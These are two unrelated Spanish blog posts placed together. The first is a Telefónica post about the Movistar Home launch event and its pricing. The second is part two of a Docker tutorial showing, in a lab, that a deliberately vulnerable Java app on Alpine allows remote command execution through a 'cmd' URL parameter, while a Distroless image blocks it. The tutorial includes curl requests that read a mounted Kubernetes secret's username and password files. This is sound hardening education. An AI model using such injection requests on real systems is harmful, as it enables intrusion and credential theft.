Movistar Home: Lanzamiento en Late Motiv #DiHolaAMovistarHome

Ayer a las once de la mañana, como estaba marcado en nuestro calendario desde hacía muchos meses, hicimos el evento de lanzamiento de Movistar Home, donde desvelamos algunas cosas más que tendrá el producto, además de dar información de los precios y la forma de conseguirlo para nuestros clientes.

Figura 1: Movistar Home: Lanzamiento en Late Motiv #DiHolaAMovistarHome

Quisimos hacer un evento distinto, como empresa líder en el hogar que somos y líder en contenidos de televisión en España, habíamos decidido hacerlo con nuestros compañeros de Movistar Plus, para lo que disfrutamos con Andreu Buenafuente como maestro de ceremonias.

View this post on Instagram

Gran fotaca con Rafa Nadal, Andreu Buenafuente y Emilio Gayo en el lanzamiento de #MovistarHome }:)

A post shared by Chema Alonso (@chemaalonso) on Oct 18, 2018 at 4:12am PDT

No quisimos centrarnos mucho en todas las funcionalidades que ya habíamos presentado en el Mobile World Congress, así que nos centramos en las que no habíamos enseñado aún, con unas demos sencillas de lo que estamos construyendo con terceros, y en la parte de entretenimiento.

Figura 3: Anuncio de Movistar Home con Rafa Nadal

Per lo más importante, era comunicar el precio que tendrá el dispositivo para la campaña navideña. Después de que se acabaran todos los que teníamos para la fase de "Early Adopters", en diciembre saldrá el dispositivo a 79 € de precio si se quiere pagar de una vez, o metido en factura en un pago fraccionado de 3,68 €/mes o 6,98 €/mes si lo quieres pagar en 24 o 12 meses.

Figura 4: Nota de lanzamiento de Movistar Home

Esto ha sido una autentica apuesta de Telefónica de España por democratizar el acceso a la tecnología de AI en el hogar para todos los clientes. Toda esta información la tenéis en la Nota de Prensa del lanzamiento de Movistar Home que publicamos ayer.

Figura 5: Evento de Lanzamiento en Late Motiv

Además, para el evento contamos con Iberia, El Corte Inglés y Twitter, con los que hemos desarrollado algunas experiencias que son la muestra de lo que estamos trabajando con muchos partners para mejorar las experiencias que se pueden vivir en el salón de tu casa a través de Movistar Home.

View this post on Instagram

Momento genial con Rafa y Andreu. Me lo he pasado genial}:)

A post shared by Chema Alonso (@chemaalonso) on Oct 18, 2018 at 5:37am PDT

Y para completar el lanzamiento, estuvimos jugando a un juego Rafa Nafal y yo de preguntas y respuestas. Esto fue solo un bosquejo de lo que hemos construido para la creación continua de juegos en Movistar Home, que iremos desvelando poco a poco. Rafa Nadal, que es nuestro padrino del proyecto, nos ayudó también en la construcción de un nuevo anuncio que os hemos dejado publicado ayer mismo. Os iré contando más cosas.

Saludos Malignos!

Docker Distroless Images: Cómo crear imágenes sin SO sistema ni shell de comandos (2 de 2)

Ya que tenemos los dos entornos tal y como vimos en la primera parte de este artículo, vamos a comenzar a jugar primero con el servicio de Alpine primero utilizando curl para ir guardando las repuestas a las pruebas básicas, como haría un buen pentester en un entorno de Hacking Web Technologies.

Figura 8: Docker Distroless Images.
Cómo crear imágenes sin SO sistema ni shell de comandos (2 de 2)

Hay que recordar que tenemos dos entornos, uno Distroless en Docker y el otro utilizando Alpine, que es el primero al que vamos a atacar con curl:

$ curl http://192.168.99.100:32446 

Hello my friend!%

Utilizamos el parámetro cmd  de nuestra Aplicación Vulnerable Java para ejecutar comandos:

$ curl "http://192.168.99.100:32446/?cmd=ls" 

app.jar
bin
dev
…

Como vemos nos muestra el listado del directorio raíz. Hagamos un ejecución del comando id:

$ curl "http://192.168.99.100:32446/?cmd=id" 

uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

En kubernetes a la hora de pasar credenciales a nuestra aplicación se usan los secretos. Estos se montan cómo volúmenes dentro del contenedor. Veamos qué hay montado:

$ curl "http://192.168.99.100:32446/?cmd=mount" … 

tmpfs on /etc/secret type tmpfs (ro,relatime)
…

Cómo podemos ver hay un volumen montado en /etc/secret. Veamos que se esconde:

$ curl "http://192.168.99.100:32446/?cmd=ls%20/etc/secret" 

password
username

Si accedemos al contenido de ambos ficheros:

$ curl "http://192.168.99.100:32446/?cmd=cat%20/etc/secret/username" 

admin%

$ curl "http://192.168.99.100:32446/?cmd=cat%20/etc/secret/password" 

super-secret-password%

Podemos incluso jugar con apk (manejador de paquetes en Alpine), en caso que necesitemos instalar algún paquete que necesitemos:

$ curl "http://192.168.99.100:32446/?cmd=apk%20list" 

libxext-1.3.3-r2 x86_64 {libxext} (custom) [installed]
libxau-1.0.8-r2 x86_64 {libxau} (custom) [installed]
…

Pensamos que esta pequeña demo es más que su suficiente para demostrar la idea principal. Alguno se preguntará que también es buena práctica no correr un contenedor como root, y lo es, pero mira en GTFOBins la de cosas que se pueden hacer con los comandos comunes de una distro  si no has hecho el pertinente proceso de Hardening de tu GNU/Linux: 

Figura 9: GTFOBins

Ahora veamos que ocurre si conseguimos un RCE (Remote Code Execution) en una aplicación basada en una imagen Distroless. En nuestro caso recuerda la dirección asignada a nuestro contenedor Distroless: http://192.168.99.100:31735.

$ curl "http://192.168.99.100:31735" 

Hello my friend!%

Cómo vemos responde bien. Hagamos uso de un comando ls:

$ curl "http://192.168.99.100:31735/?cmd=ls" 

{"timestamp":"2018-10-11T00:18:36.752+0000","status":500,"error":"Internal Server Error","message":"Cannot run program \"sh\": error=2, No such file or directory”,"path":"/"}%

Recibimos un error interno diciendo que no puede correr el programa sh. No hay shell. Por consiguiente, si invocamos un comando id:

$ curl "http://192.168.99.100:31735/?cmd=id" 

{"timestamp":"2018-10-11T00:20:12.405+0000","status":500,"error":"Internal Server Error","message":"Cannot run program \"sh\": error=2, No such file or directory”,"path":"/"}%

Recibimos el mismo error, y así con cualquier otro comando. Para poder realmente explotar esta aplicación habría que poder subir un payload que fuéramos capaces de ejecutar en el mismo intérprete, en este caso algún código que entendiera la JVM. En fin, un verdadero exploiting de Linux para un McGiver que sea capaz de acceder con un clip, sin ordenador y con una copa de orujo en una mano ;)

Conclusiones finales

Para que podáis ver mejor todo lo que hemos descrito, os dejamos un par de vídeos que recogen las pruebas realizadas en ambos entornos, en los que se ve de manifiesto la importancia de hacer un hardening completo de todo el sistema. Primero en un entorno con Alpine y minikube.

Figura 10: PoC de hacking Aplicación Web Vulnerable montada con Alpine y minikube

Y las mismas pruebas completas que hemos hecho a lo largo de este artículo, pero ahora con contenedores Distroless de Docker que tienen la Aplicación Web Vulnerable Java.

Figura 11: PoC de hacking Aplicación Web Vulnerable montada con Distroless Docker

Si para hacer estas pruebas tú mismo no quieres usar kubernetes, también puedes arrancar los contenedores localmente con Docker. Sólo tendríamos que ejecutar:

$ docker container run -d -p 8080:8080 tuxotron/vulnj:alpine
8431a2397bc84701235c37b43949b6b56d6f177e240e16b4595bc4afc163d76e
~/projects/vulnej

$ docker container run -d -p 8081:8080 tuxotron/vulnj:distrolessa7ad491c7fc01e39b75f952c42290e4cc437c6521a4d67c440f31a32744dbea6

De esta forma tu Aplicación Vulnerable Java basada en Alpine estará disponible en: http://localhost:8080 y la Distroless en http://localhost:8081, tal y cómo puedes ver en las siguientes invocaciones con curl:

$ curl "http://localhost:8081/?cmd=ls" 

{"timestamp":"2018-10-11T00:28:50.788+0000","status":500,"error":"Internal Server Error","message":"Cannot run program \"sh\": error=2, No such file or directory","path":"/"}%

$ curl "http://localhost:8080/?cmd=id" 

uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Si quieres aprender más cosas sobre Docker, ademas de leerte todos los post que hemos publicado y de seguir por aquí los próximos artículos ;) te recomendamos nuestro libro Docker: SecDevOps que puedes encontrar en la web de la editorial 0xWord.

Figura 12: Libro Docker: SecDevOps

Happy Hacking!!

Autores:

Fran Ramírez, (@cyberhadesblog) miembro del equipo de Crazy Ideas en CDO en Telefónica, co-autor del libro "Microhistorias: Anécdotas y Curiosidades de la historia de la informática (y los hackers)", del libro "Docker: SecDevOps" y del blog Cyberhades.

Rafael Troncoso (@tuxotron) es DevOps Tech Lead en USCIS/DHS, co-autor del libro "Microhistorias: Anécdotas y Curiosidades de la historia de la informática (y los hackers)", del libro "Docker: SecDevOps" y del blog Cyberhades.